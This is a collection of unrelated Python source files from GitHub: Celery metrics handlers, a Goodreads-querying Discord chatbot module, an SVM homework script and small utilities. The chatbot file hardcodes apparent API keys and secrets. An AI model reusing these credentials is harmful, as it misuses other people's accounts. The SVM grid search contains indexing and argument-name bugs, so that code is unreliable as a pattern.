{"seq_id":"16326762478","text":"import threading\nimport time\nimport uuid\nfrom collections import Counter\n\nfrom django.conf import settings\n\nimport arrow\nimport billiard.compat\nfrom celery.signals import (\n    after_task_publish,\n    before_task_publish,\n    celeryd_after_setup,\n    heartbeat_sent,\n    task_failure,\n    task_postrun,\n    task_prerun,\n    task_retry,\n    task_success,\n    task_unknown,\n    worker_process_init,\n)\n\nfrom .. import _collector\nfrom ..lib.error_handling import log_errors_and_send_to_rollbar\nfrom ..models import LoggedTask\nfrom ..stats.rabbitmq import send_rabbitmq_queue_stats\n\n\nlocal = threading.local()\n\nHEARTBEAT_METRICS_INTERVAL_SECONDS = 30\nEXTRA_ERROR_QUEUE_TAGS_FN = settings.RANCH.get(\n    \"extra_error_queue_tags_fn\", lambda task: []\n)\n\n\ndef _mem_rss_bytes():\n    \"\"\"\n    `billiard.compat.mem_rss()` returns the memory in kB that the worker\n    is using. Celery uses `mem_rss()` to enforce worker memory limits;\n    Ranch uses the same function to track worker RSS over time and RSS\n    change after each task is run. We convert to bytes (`* 1000`) to\n    make the metrics easier to understand.\n    \"\"\"\n    return billiard.compat.mem_rss() * 1000\n\n\n@before_task_publish.connect\n@log_errors_and_send_to_rollbar\ndef add_metadata_to_task_headers(\n    sender,\n    body,\n    exchange,\n    routing_key,\n    headers,\n    properties,\n    declare,\n    retry_policy,\n    **kwargs\n):\n    queued_at = arrow.get(headers.get(\"eta\")).timestamp\n    headers[\"__RANCH_QUEUED_AT\"] = queued_at\n\n\n@after_task_publish.connect\n@log_errors_and_send_to_rollbar\ndef send_metrics_on_publish(sender, headers, body, exchange, routing_key, **kwargs):\n    _collector.increment(\n        \"task.publish\", value=1, tags={\"task\": headers.get(\"task\", \"unknown\")}\n    )\n\n\n@task_prerun.connect\n@log_errors_and_send_to_rollbar\ndef store_metadata_before_task_runs(\n    sender, task_id, task, args, kwargs, **extra_kwargs\n):\n    local.task_received_at = time.time()\n    try:\n        local.task_queue = task.request.delivery_info.get(\"routing_key\")\n    except Exception:\n        local.task_queue = None\n\n    local.rss_before_bytes = _mem_rss_bytes()\n\n    queued_at = getattr(task.request, \"__RANCH_QUEUED_AT\", None)\n    if queued_at:\n        wait_time_ms = (time.time() - queued_at) * 1000\n        _collector.timing(\n            \"task.wait_time\",\n            value=wait_time_ms,\n            tags={\"task\": task.name, \"queue\": local.task_queue},\n        )\n\n\n@task_postrun.connect\n@log_errors_and_send_to_rollbar\ndef send_metrics_after_task_runs(\n    sender, task_id, task, args, kwargs, retval, state, **extra_kwargs\n):\n    execution_time_ms = (time.time() - local.task_received_at) * 1000\n    _collector.timing(\n        \"task.execution_time\",\n        value=execution_time_ms,\n        tags={\"task\": task.name, \"state\": state, \"queue\": local.task_queue},\n    )\n\n    local.tasks_processed += 1\n    _collector.gauge(\n        \"worker.tasks_processed\",\n        value=local.tasks_processed,\n        tags={\"queue\": local.task_queue, \"worker_id\": local.worker_id},\n    )\n\n    current_rss_bytes = _mem_rss_bytes()\n\n    _collector.gauge(\n        \"worker.rss_bytes\",\n        value=current_rss_bytes,\n        tags={\"queue\": local.task_queue, \"worker_id\": local.worker_id},\n    )\n\n    rss_change_bytes = current_rss_bytes - local.rss_before_bytes\n    _collector.increment(\n        \"task.rss_change_bytes\",\n        value=rss_change_bytes,\n        tags={\"task\": task.name, \"queue\": local.task_queue},\n    )\n\n\ndef _send_task_processed_metric(task_name, result):\n    _collector.increment(\n        \"task.processed\",\n        value=1,\n        tags={\"task\": task_name, \"result\": result, \"queue\": local.task_queue},\n    )\n\n\n@task_retry.connect\n@log_errors_and_send_to_rollbar\ndef send_metrics_on_task_retry(sender, request, reason, einfo, **kwargs):\n    _send_task_processed_metric(sender.name, \"retry\")\n\n\n@task_success.connect\n@log_errors_and_send_to_rollbar\ndef send_metrics_on_task_success(sender, result, *args, **kwargs):\n    _send_task_processed_metric(sender.name, \"success\")\n\n\n@task_failure.connect\n@log_errors_and_send_to_rollbar\ndef send_metrics_on_task_failure(\n    sender, task_id, exception, args, kwargs, traceback, einfo, **extra_kwargs\n):\n    _send_task_processed_metric(sender.name, \"failure\")\n\n\n@task_unknown.connect\n@log_errors_and_send_to_rollbar\ndef send_metrics_on_task_unknown(sender, name, id, message, exc, **kwargs):\n    _collector.increment(\"task.unknown\", value=1, tags={\"task\": name})\n\n\n@celeryd_after_setup.connect\n@log_errors_and_send_to_rollbar\ndef store_metadata_on_worker_parent_start(sender, instance, conf, **kwargs):\n    local.worker_instance = instance\n    local.app_config = conf\n\n    # worker_queues is a dict of queue name to Celery queue instance, for\n    # all queues this worker is configured to process\n    # Don't freak out about the variable named amqp, yes it is\n    # called this even if you're using Redis. Celery is jank.\n    local.worker_queues = instance.app.amqp.queues\n\n    # broker_type is a string, \"amqp\" or \"redis\" (or others but these\n    # are the ones we expect to use)\n    local.broker_type = instance.app.broker_connection().transport_cls\n\n    local.last_send_on_heartbeat = 0\n\n\n@worker_process_init.connect\n@log_errors_and_send_to_rollbar\ndef store_metadata_on_worker_child_start(sender, **kwargs):\n    # number of tasks processed over the lifetime of each worker *child* process\n    local.tasks_processed = 0\n    local.worker_id = str(uuid.uuid4())\n\n\ndef _send_queue_length_metrics():\n    if local.broker_type == \"amqp\":\n        send_rabbitmq_queue_stats(\n            local.app_config[\"broker_url\"], list(local.worker_queues.keys())\n        )\n\n\ndef _error_queue_tags(task):\n    tags = [\"queue:{}\".format(task.queue), \"task:{}\".format(task.task_name)]\n    tags.extend(EXTRA_ERROR_QUEUE_TAGS_FN(task))\n    return tuple(tags)\n\n\ndef _send_error_queue_metrics():\n    tasks = LoggedTask.objects.all()\n    counts = Counter(_error_queue_tags(task) for task in tasks)\n\n    for tags, count in counts.items():\n        _collector.gauge(\"queue.errors.length\", value=count, tags=tags)\n\n\n@heartbeat_sent.connect\n@log_errors_and_send_to_rollbar\ndef send_queue_metrics_on_heartbeat(sender, **kwargs):\n    if time.time() - HEARTBEAT_METRICS_INTERVAL_SECONDS < local.last_send_on_heartbeat:\n        return\n\n    _send_queue_length_metrics()\n    _send_error_queue_metrics()\n\n    local.last_send_on_heartbeat = time.time()\n","repo_name":"managedbyq/mbq.ranch","sub_path":"mbq/ranch/signal_handlers/metrics_handlers.py","file_name":"metrics_handlers.py","file_ext":"py","file_size_in_byte":6409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33808356871","text":"#-------------------------------------------------------------IMPORT OF MODULES-------------------------------------------------------------#\nimport requests\nfrom bs4 import BeautifulSoup\nimport urllib.request\nimport time\nfrom UserDataManagement import SaveData\n#--------------------------------------------------------------------------------------------------------------------------------------------#\n\n######################################################################################################################################\n#This code was removed due to the fact that the other team members assigned to this API went through a different method. This was placed as a template and guidance for these team members.\n\n#Beginning of code by [Annija Balode, ID No: 9102828] and referenced from https://rapidapi.com/raygorodskij/api/Goodreads.\n\n#The key for this API: JnUP42tF3SjMYKotdkgrSA\n#The secret necessary for this API to work: yy1EpTPtnKAUZLljIkeSZ8BJ9cc0QB70K6GeGQNGB0#\n#url = \"https://goodreadsraygorodskijv1.p.rapidapi.com/getAuthorBooks\"\n\n#payload = \"\"\n#headers = {\n  #  'x-rapidapi-host': \"GoodreadsraygorodskijV1.p.rapidapi.com\",\n  #  'x-rapidapi-key': \"81920e6a13msh6e78958b0ee4e66p1089ccjsn2155f80b3790\",\n  #  'content-type': \"application/x-www-form-urlencoded\"\n  #  }\n  \n#response = requests.request(\"POST\", url, data=payload, headers=headers)\n#Link to documentation: https://rapidapi.com/raygorodskij/api/Goodreads?endpoint=apiendpoint_22bb56e0-f967-11e7-8a9f-ddc04c05c7d2getAuthorBooks\n\n#End of code by [Annija Balode, ID No: 9102828] and referenced from https://rapidapi.com/raygorodskij/api/Goodreads.\n######################################################################################################################################\n\n#[Gerald Owusu-Manu]\n#The Key:NxRD7Y051igsxA6xbjQRpQ\n#The secret: u65168BEZcYv39AJsYrc8hSjkLzA4boifPdsSEYbIw\n\n# Next ONE line by Christian Shaw | Saves a STATIC global variable for the script's global reply ID\nBookScriptGlobal_ID = \"2151\"\n\n\n#Start of block by [Gerald Owusu-Manu]\n\n#API can retrieve specific titles of books that the user requests.\n#reference https://www.goodreads.com/api/index#search.books\ndef booksearch(MsgObj):\n\n    # Next ONE line by Christian Shaw | Saves the ReplyID to the JSON database so that dialogue can be done on discord. Very important for user input.\n    SaveData(BookScriptGlobal_ID+\"_BookSearch2\", MsgObj.userID, \"ReplyID\")\n\n    #booktitle=input(\"Please type in the name of the book you would like to search\")\n    #requests user to input a book name\n    return \"Please type in the name of the book you would like to search\"\n\ndef booksearch2(MsgObj):\n    booktitle = MsgObj.msg\n    #The key is added to url to allow access to use the api and the name of the book inputted by the user is added\n    url = ('https://www.goodreads.com/search.xml?key=NxRD7Y051igsxA6xbjQRpQ&q=' +booktitle)\n    #adapted code from https://www.youtube.com/watch?v=pKz1faPVNMA\n    # retreives the data from the url as text\n    response = requests.get(url).text\n    xml = BeautifulSoup(response, 'xml')\n\n    # previous adapted code no longer needed as modified by [Christian Shaw at the end of the script]\n   #print (\"Displaying results for  \" +str(booktitle) + \"... \\n\")\n    #prints only the title tag from the xml after 2 seconds\n    #time.sleep(2)\n    #end of previous code\n\n\n    #xml function used to find the relevant tags that would output the information to the user\n    Work = (xml.find(\"work\"))\n\n    # Next ONE line by Christian Shaw | Returns a natural reply using the dictionary data to the discord main script\n    return NaturalReply(Work, \"search\", MsgObj)\n\n    #for item in xml.findAll('title'):\n    #end of adapted code   \n    #    print (item.text)\n# End of block [Gerald Owusu-Manu]\n\n\n\n# Start of block [Gerald Owusu-Manu]\n# Gets reviews of a specific book from the given isbn\n# reference https://www.goodreads.com/book/isbn/ISBN?format=FORMAT     \n# How to pass info into url \"https://www.goodreads.com/book/isbn/\"+isbn+\"?key=NxRD7Y051igsxA6xbjQRpQ\"  \n\ndef bookreview(MsgObj):\n   \n    # Next ONE line by Christian Shaw | Saves the ReplyID to the JSON database so that dialogue can be done on discord. Very important for user input.\n    SaveData(BookScriptGlobal_ID+\"_BookReview2\", MsgObj.userID, \"ReplyID\")\n\n    #isbn =input(\"Please type in the isbn of a book you would like to see the ratings of\")\n    #askes the user to input isbn of the book they want ratings for\n    return \"Please type in the isbn of a book you would like to see the ratings of\"\n\ndef bookreview2(MsgObj):\n\n    isbn = MsgObj.msg\n    # key is added to url along with isbn inputted by user\n    url = (\"https://www.goodreads.com/book/isbn/\" +isbn+ \"?key=NxRD7Y051igsxA6xbjQRpQ\")\n    #adapted code from https://www.youtube.com/watch?v=pKz1faPVNMA\n    #result from the url is returned as text\n    response = requests.get(url).text\n    xml = BeautifulSoup(response, 'xml')\n    #xml function used to find the relevant tags that would output the information to the user\n    Work = (xml.find(\"work\"))\n    #end of adapted code\n    # Next ONE line by Christian Shaw | Returns a natural reply using the dictionary data to the discord main script\n    return NaturalReply(Work, \"ratings\", MsgObj)\n\n    #previous adapted code no longer in use as modified by [Christian Shaw] at the end of the script\n\n    #organised with headings where the first result from each xml tag are displayed under\n    \n    #print (\"Book reviews for isbn:\" +str(isbn))\n    # print (\"Book title:\")\n    #for item in xml.findAll('title')[0:1]:\n    #    print (item.text)\n    #print (\"Author name:\")\n    #for item in xml.findAll('name')[0:1]:\n    #    print (item.text)\n    #print (\"Star rating:\")\n    #for item in xml.findAll('rating_dist'):\n    #    print (item.text)\n    #print (\"Average Rating:\")    \n    #for item in xml.findAll('average_rating')[0:1]:\n    #    print (item.text)\n    \n    #end of previous code\n    \n# End of block [Gerald Owusu-Manu]\n\n# Start of block [Gerald Owusu-Manu]\n\n#reference https://www.goodreads.com/api/index#search.books\n\ndef releasedate(MsgObj):\n\n    # Next ONE line by Christian Shaw | Saves the ReplyID to the JSON database so that dialogue can be done on discord. Very important for user input.\n    SaveData(BookScriptGlobal_ID+\"_ReleaseDate2\", MsgObj.userID, \"ReplyID\")\n\n    #booktitle=input(\"Please type in the name of the book you want the release date of\")\n    #asks the user to input book name they want release date of\n    return \"Please type in the name of the book you want the release date of\"\n\ndef releasedate2(MsgObj):\n    #saves user input into booktitle variable\n    booktitle = MsgObj.msg\n    #variable is passed into url\n    url = ('https://www.goodreads.com/search.xml?key=NxRD7Y051igsxA6xbjQRpQ&q=' +booktitle)\n    #adapted code from https://www.youtube.com/watch?v=pKz1faPVNMA\n    #result from the url is returned as text\n    response = requests.get(url).text\n    xml = BeautifulSoup(response, 'xml')\n    #xml function used to find the relevant tags that would output the information to the user\n    Work = (xml.find(\"work\"))\n    #end of adapted code\n\n    # Next ONE line by Christian Shaw | Returns a natural reply using the dictionary data to the discord main script\n    return NaturalReply(Work, \"date\", MsgObj)\n    #previous adapted code no longer needed as [modified by christian shaw at the end of the script]\n    #print (\"Year:\")\n    \n    #for item in xml.findAll('original_publication_year')[0:1]:\n    #    print (item.text)\n    #print (\"Month:\")\n    #       \n    #for item in xml.findAll('original_publication_month')[0:1]:\n    #    print (item.text)\n    # end of previous code\n# end of block [Gerald Owusu-Manu]\n\n#Start of block [Gerald Owusu-Manu]\n#reference https://www.goodreads.com/api/index#search.books\ndef authorMostpopular(MsgObj):\n\n    # Next ONE line by Christian Shaw | Saves the ReplyID to the JSON database so that dialogue can be done on discord. Very important for user input.\n    SaveData(BookScriptGlobal_ID+\"_AuthorMostPopular2\", MsgObj.userID, \"ReplyID\")\n    # asks user to input the name of the author\n    #author=input(\"Please type in the name of the author you would like to search to see their most popular books\")\n    return \"Please type in the name of the author you would like to search to see their most popular books\"\n\ndef authorMostpopular2(MsgObj):\n    #user input is saved into author variable\n    author = MsgObj.msg\n    #author variable is passed into url to be searched\n    url = ('https://www.goodreads.com/search.xml?key=NxRD7Y051igsxA6xbjQRpQ&q=' +author)\n    #adapted code from https://www.youtube.com/watch?v=pKz1faPVNMA\n    #result from the url is returned as text\n    response = requests.get(url).text\n    \n    # previous adapted code no longer needed as modified by [Christian Shaw at the end of the script]\n    #print (\"Displaying \" +str(author) + \" most popular books... \\n\")\n    #results are outputted after a 2 second delay\n    #time.sleep(2)\n    #end of previous code\n\n\n    #xml function used to find the relevant tags that would output the information to the user\n    xml = BeautifulSoup(response, 'xml')\n\n    Work = (xml.find(\"work\"))\n    #end of adapted code\n    # Next ONE line by Christian Shaw | Returns a natural reply using the dictionary data to the discord main script\n    return NaturalReply(Work, \"search\", MsgObj)\n\n    # previous adapted code no longer needed as modified by [Christian Shaw at the end of the script]\n    #headlines are created and displays the first name found in the author xml tag and outputs the most popular books found in the title tag\n    #print (\"Author name:\")\n    \n    #for item in xml.findAll('name')[0:1]:\n    #    print (item.text)\n    #print (\"Book titles:\")\n    \n    #for item in xml.findAll('title'):\n    #    print (item.text)\n    #end of previous code\n  #End of block [Gerald Owusu-Manu]\n\n# Start of Block [Gerald Owusu-Manu]\n\ndef UserIntro(MsgObj):\n    \n    # Next ONE line by Christian Shaw | Saves the ReplyID to the JSON database so that dialogue can be done on discord. Very important for user input.\n    SaveData(BookScriptGlobal_ID+\"_UserIntro2\", MsgObj.userID, \"ReplyID\")\n\n    #print (\"Hello, Welcome to the Book directory. \\n I have the ability to provide you with book searches, book reviews/ratings and the release dates of any current or upcoming books and most popular books that an author has.\")\n    #UserOption  = input(\"What would you like to see?\")\n\n    # displays the features the chatbot provides to the user and asks them what they want to see\n    return \"I have the ability to provide you with book searches, book reviews/ratings and the release dates of any current or upcoming books and most popular books that an author has.\\nWhat would you like to see?\"\n\ndef UserIntro2(MsgObj):\n    UserOptionWords = MsgObj.list\n    #code adapted from NewsAPI.py [created by Annija Balode]\n    # stores a list of keywords that the user may enter \n    searchList = [\"book\",\"books\",\"title\",]\n    releasedList = [\"release\", \"releases\", \"date\", \"upcoming\"]\n    reviewList = [\"rating\", \"rated\",\"reviews\",\"review\"]\n    PopList = [\"popular\", \"most popular\",]\n    #based on the keywords in the list if what the user enters corrosponds with a certain list a particular function is called\n    for x in range(len(UserOptionWords)):\n        if UserOptionWords[x].lower() in searchList:\n            return booksearch(MsgObj)\n            #break\n        elif UserOptionWords[x].lower() in releasedList:\n            return releasedate(MsgObj)\n            #break\n        elif UserOptionWords[x].lower() in reviewList:\n            return bookreview(MsgObj)\n            #break\n        elif UserOptionWords[x].lower() in PopList:\n            return authorMostpopular(MsgObj)\n            #break\n#end of adapted code\n    #end of block [ Gerald Owusu-Manu]\n# Start of block [Gerald Owusu-Manu]\n#Tried to implement a while loop in previous version of code which would allow the user to keep trying each time their input could not be found in the lists of keywords i made\n#def UserIntro():\n    #print (\"Hello, Welcome to the Book directory. \\n I have the ability to provide you with book searches, book reviews/ratings and the release dates of any current or upcoming books and most popular books that an author has.\")\n    #UserOption  = input(\"What would you like to see?\")\n    #UserOptionWords = UserOption.split(\" \")\n    \n    #searchList = [\"book\",\"books\",\"title\",]\n    #releasedList = [\"release\", \"releases\", \"date\", \"upcoming\"]\n    #reviewList = [\"rating\", \"rated\",\"reviews\",\"review\"]\n    #PopList = [\"popular\", \"most popular\",]\n\n   #while UserOption not in (searchList,releasedList,reviewList,PopList):\n        #print (\"option could not be found, please try again\")\n        #UserOption  = input(\"What would you like to see?\")\n\n    #if UserOption in (searchList,releasedList,reviewList,PopList):\n        #for x in range(len(UserOptionWords)):\n            #if UserOptionWords[x].lower() in searchList:\n                #booksearch()\n               #break\n            #elif UserOptionWords[x].lower() in releasedList:\n                #releasedate()\n                #break\n            #elif UserOptionWords[x].lower() in reviewList:\n                #bookreview()\n                #break\n            #elif UserOptionWords[x].lower() in PopList:\n                #authorMostpopular()\n                #break\n\n#UserIntro()\n#could not get it to function as even when the correct keywords were entered the loop would still iterate\n# End of block [Gerald Owusu-Manu]\n\n\n\n\n\n\n\n\n\n#--------------------------------------------------------REPLY SELECTION FUNCTION--------------------------------------------------------#\n\n# [Start of Code by Christian Shaw] \n\n# Essentially, this function talks to the main chatbot script to identify which reply is next in line in the conversation\n# Whatever the replyID is set to will determine the function used in this script.\n\ndef FindID(obj, ID):\n    if ID == \"UserIntro2\":\n        return UserIntro2(obj)\n    if ID == \"BookSearch2\":\n        return booksearch2(obj)\n    if ID == \"BookReview2\":\n        return bookreview2(obj)\n    if ID == \"ReleaseDate2\":\n        return releasedate2(obj)\n    if ID == \"AuthorMostPopular2\":\n        return authorMostpopular2(obj)\n\n# [End of Code by Christian Shaw] \n\n#------------------------------------------------------RETURN RELEVANT DATA TO USER-----------------------------------------------------#\n\n# [Start of Code by Christian Shaw]\n\n# Essentially, this function creates and returns a string which will be the bot's reply.\n# It takes arguments which determine how the reply will be structured.\ndef NaturalReply(WorkXml, Context, MsgObj):\n    from random import randrange\n\n    # The ISBN opens a different HTML file\n    if Context != \"ratings\":\n        BookTitle = WorkXml.find(\"best_book\").find(\"title\").text\n        BookID = WorkXml.find(\"best_book\").find(\"id\").text\n\n        # Saves the recommended film to the json database for later use\n        SaveData(BookTitle, MsgObj.userID, \"PreviousViewedBooks\")\n        time.sleep(1)\n        SaveData(BookTitle, MsgObj.userID, \"PreviousViewedEntertainment\")\n\n    # Creates a list of months so that there is a coherent date instead of numbers\n    Months = [\n        \"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\", \"December\"]\n\n    ReleaseDay = WorkXml.find(\"original_publication_day\").text\n    ReleaseMonth = WorkXml.find(\"original_publication_month\").text\n    ReleaseYear = WorkXml.find(\"original_publication_year\").text\n\n    # This creates the release month from a number to text if the month exists\n    if ReleaseMonth != \"\":\n        ReleaseMonth = Months[int(ReleaseMonth)-1]\n\n    RatingNo = WorkXml.find(\"ratings_count\").text\n\n    # Depending on the context, different things are printed.\n    if Context == \"search\":\n        Phrase = [\"The book you're looking for probably is \", \"I found a book called \", \"The book you speak of is called \"]\n        MainString = (Phrase[randrange(len(Phrase))]+BookTitle+\"\\nHere's a link to it: \"+\"https://www.goodreads.com/book/show/\"+BookID)\n    elif Context == \"date\":\n        Phrase = [\" released on \", \" was published on \", \" came out on \"]\n\n        MainString = BookTitle+(Phrase[randrange(len(Phrase))])+ReleaseDay+\" \"+ReleaseMonth+\" \"+ReleaseYear\n    elif Context == \"ratings\":\n        Phrase = [\" was rated \", \" has been rated \", \" got rated \"]\n        MainString = (\"This book has been rated \"+RatingNo+\" times.\")\n    \n    # Returns the string that was created to that the relevant scripts can return it to the main discord bot to be sent to the user on discord.\n    return MainString\n\n# [End of Code by Christian Shaw] ","repo_name":"ScaryRussianLady/ChatBot","sub_path":"GoodreadsAPI.py","file_name":"GoodreadsAPI.py","file_ext":"py","file_size_in_byte":16705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7962091889","text":"import numpy as np\nfrom libsvm.svmutil import *\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy.spatial.distance import cdist\nimport os\nimport csv\nimport argparse\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--kernel-type\", type=str,\n                    default=\"rbf\", help=\"choose the kernel type for part2\")\nparser.add_argument(\"--part\", type=int, default=3,\n                    help=\"Which part do you want to execute\")\nparser.add_argument(\"--gamma\", type=float, default=0.05,\n                    help=\"Part 3 gamma value for self defined kernel\")\nargs = parser.parse_args()\n\n\nDATA_PATH = \"./data/\"\nRESULT_PATH = \"./results/\"\n\n\ndef read_data():\n    # parse train\n    X_train_f = open(DATA_PATH + \"X_train.csv\", \"r\")\n    X_train = list(csv.reader(X_train_f))\n    X_train = np.array(X_train).astype(np.float64)\n    Y_train_f = open(DATA_PATH + \"Y_train.csv\", \"r\")\n    Y_train = list(csv.reader(Y_train_f))\n    Y_train = np.array(Y_train).astype(np.int32)\n\n    # parse test\n    X_test_f = open(DATA_PATH + \"X_test.csv\", \"r\")\n    X_test = list(csv.reader(X_test_f))\n    X_test = np.array(X_test).astype(np.float64)\n    Y_test_f = open(DATA_PATH + \"Y_test.csv\", \"r\")\n    Y_test = list(csv.reader(Y_test_f))\n    Y_test = np.array(Y_test).astype(np.int32)\n\n    return X_train, Y_train, X_test, Y_test\n\n\ndef cmp_kernels(X_train, Y_train, X_test, Y_test):\n    kernel_types = {\"linear\": \"-t 0\", \"polynomial\": \"-t 1\", \"RBF:\": \"-t 2\"}\n    for _type, param in kernel_types.items():\n        m = svm_train(Y_train, X_train, \"-q \" + param)\n        pred_label, pred_acc, pred_vals = svm_predict(Y_test, X_test, m, \"-q\")\n        print(f\"{_type} kernel accuracy: {pred_acc[0]}%\")\n\n\ndef grid_search(X_train, Y_train, X_test, Y_test, cost, gamma, degree, coeff0, option):\n    max_acc = 0\n    best_g = 0\n    best_c = 0\n    best_d = 0\n    best_r = 0\n    best_param = []\n    confusion_mat = 0\n\n    if option == \"rbf\":\n        confusion_mat = np.zeros((len(cost), len(gamma)))\n        for i in range(len(cost)):\n            for j in range(len(gamma)):\n                param = f\"-q -s 0 -t 2 -g {gamma[i]} -c {cost[i]} -v 5\"\n                acc = svm_train(Y_train, X_train, param)\n                confusion_mat[i][j] = acc\n                if acc > max_acc:\n                    max_acc = acc\n                    best_g = gamma[i]\n                    best_c = cost[i]\n        best_param = [best_c, best_g]\n\n    elif option == \"linear\":\n        for c in cost:\n            param = f\"-q -s 0 -t 0 -c {c} -v 5\"\n            acc = svm_train(Y_train, X_train, param)\n            if acc > max_acc:\n                max_acc = acc\n                best_c = c\n        best_param = [best_c]\n\n    elif option == \"polynomial\":\n        for c in cost:\n            for g in gamma:\n                for d in degree:\n                    for r in coeff0:\n                        param = f\"-q -s 0 -t 1 -c {c} -g {g} -d {d} -r {r} -v 5\"\n                        acc = svm_train(Y_train, X_train, param)\n                        if acc > max_acc:\n                            max_acc = acc\n                            best_c = c\n                            best_g = g\n                            best_d = d\n                            best_r = r\n        best_param = [best_c, best_g, best_d, best_r]\n\n    return best_param, confusion_mat\n\n\ndef plot_confusion_mat(confusion_mat, cost, gamma, option):\n    cost_param = []\n    for val in cost:\n        cost_param.append(str(val))\n    gamma_param = []\n    for val in gamma:\n        gamma_param.append(str(val))\n\n    confusion_mat /= 100\n    df = pd.DataFrame(confusion_mat, index=cost_param, columns=gamma_param)\n    sns.heatmap(df, annot=True, cmap=\"YlGnBu\", fmt=\".2%\")\n    plt.xlabel(\"gamma\")\n    plt.ylabel(\"cost\")\n    plt.title(\"RBF C-SVC Parameters\")\n    plt.savefig(RESULT_PATH + f\"{option}_confusion_matrix.jpg\")\n    plt.show()\n\n\ndef predict(X_train, Y_train, X_test, Y_test, param, _type):\n    m = svm_train(Y_train, X_train, param)\n    pred_label, pred_acc, pred_vals = svm_predict(Y_test, X_test, m, \"-q\")\n    print(f\"{_type} kernel with best parameters accuracy: {pred_acc[0]}%\")\n\n\ndef get_linear_rbf_kernel(x, x_prime, gamma):\n    linear_kernel = x@x_prime.T\n    rbf_kernel = np.exp(-gamma*cdist(x, x_prime, 'sqeuclidean'))\n    linear_rbf_kernel = linear_kernel+rbf_kernel\n    linear_rbf_kernel = np.hstack(\n        (np.arange(1, len(x)+1).reshape(-1, 1), linear_rbf_kernel))\n    return linear_rbf_kernel\n\n\nif __name__ == \"__main__\":\n    X_train, Y_train, X_test, Y_test = read_data()\n    Y_train = Y_train.ravel()\n    Y_test = Y_test.ravel()\n    print(f\"Num of train: {len(X_train)}\")\n    print(f\"Num of test: {len(X_test)}\")\n\n    # Part 1: Compare linear, polynomial and RBF kernel\n    if args.part == 1:\n        cmp_kernels(X_train, Y_train, X_test, Y_test)\n\n    # Part2: find the best param for C-SVC\n    elif args.part == 2:\n        option = args.part2_kernel_type\n        cost = [1, 10, 20, 30]\n        gamma = [0.01, 0.05, 0.1, 0.2]\n        degree = [2, 3, 4, 5]\n        coef0 = [0, 5, 10, 15]\n\n        if option == \"rbf\":\n            best_param, confusion_mat = grid_search(\n                X_train, Y_train, X_test, Y_test, cost, gamma, -1, -1, option\n            )\n            print(f\"best cost: {best_param[0]}, best gamma: {best_param[1]}\")\n            plot_confusion_mat(confusion_mat, cost, gamma, option)\n            param = f\"-q -s 0 -t 2 -c {best_param[0]} -g {best_param[1]}\"\n            predict(X_train, Y_train, X_test, Y_test, param, option)\n\n        elif option == \"linear\":\n            best_param, _ = grid_search(\n                X_train, Y_train, X_test, Y_test, cost, -1, -1, -1, option\n            )\n            print(f\"best cost: {best_param[0]}\")\n            param = f\"-q -s 0 -t 0 -c {best_param[0]}\"\n            predict(X_train, Y_train, X_test, Y_test, param, option)\n\n        elif option == \"polynomial\":\n            best_param, _ = grid_search(\n                X_train, Y_train, X_test, Y_test, cost, gamma, degree, coef0, option\n            )\n            print(\n                f\"best cost: {best_param[0]}, best gamma: {best_param[1]}, best degree: {best_param[2]}, best coeff0: {best_param[3]}\")\n            param = f\"-q -s 0 -t 1 -c {best_param[0]} -g {best_param[1]} -d {best_param[2]} -r {best_param[3]}\"\n            predict(X_train, Y_train, X_test, Y_test, param, option)\n\n    # Part3: self-defined kernel: linear+rbf\n    elif args.part == 3:\n        train_kernel = get_linear_rbf_kernel(X_train, X_train, args.gamma)\n        test_kernel = get_linear_rbf_kernel(X_test, X_train, args.gamma)\n        param = \"-q -t 4\"\n        predict(train_kernel, Y_train, test_kernel,\n                Y_test, param, \"linear+rbf\")\n","repo_name":"joycenerd/Machine_Learning_2021","sub_path":"HW5/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":6712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22885168163","text":"from pdoo import style\nfrom lonnycorp.config import get_divider_color\n\n@style\ndef divider_style():\n    return lambda cls: f\"\"\"\n        .{cls} {{\n            width: 100%;\n            border-bottom: 1px dotted {get_divider_color()};\n        }}\n    \"\"\"\n\ndef divider(doc):\n    class_name = doc.style(divider_style())\n    return doc.tag(\"div\", {\"class\" : class_name})\n\n\n\n","repo_name":"tlonny/lonny-corporation-website","sub_path":"lonnycorp/component/divider.py","file_name":"divider.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"41349833737","text":"##############################################################################\n# CO395: Introduction to Machine Learning                                    #\n# Coursework 1 data loading code                                             #\n# Prepared by: EPC                                                           #\n# Task: 1.1                                                                  #\n##############################################################################\n\nimport numpy as np\n\nclass Dataset:\n\n    def __init__(self, filename):\n        self.attributes = self.import_data(filename)[0]\n        self.labels = self.import_data(filename)[1]\n\n    def import_data(self, filename):\n\n        data = open(filename, 'r').read()\n\n        L = data.split('\\n')[:-1]\n\n        J = [row[-1] for row in L]\n\n        L = [row[:-2] for row in L]\n        L = [i.split(\",\") for i in L]\n        L = [[int(element) for element in row] for row in L]\n\n        L = np.array(L)\n        J = np.array(J)\n        \n        return L,J\n\n\n","repo_name":"pablonavajas/Decision-Trees","sub_path":"test_class_exercise1.py","file_name":"test_class_exercise1.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9525092094","text":"from ansie.styles import color256\n\n\ndef main():\n    for i in range(256):\n        print(color256(i).bg(f'{i:>3}'), end=' ')\n        if (i + 1) % 16 == 0:\n            print('')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Rebzzel/ansie","sub_path":"examples/256_colors/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
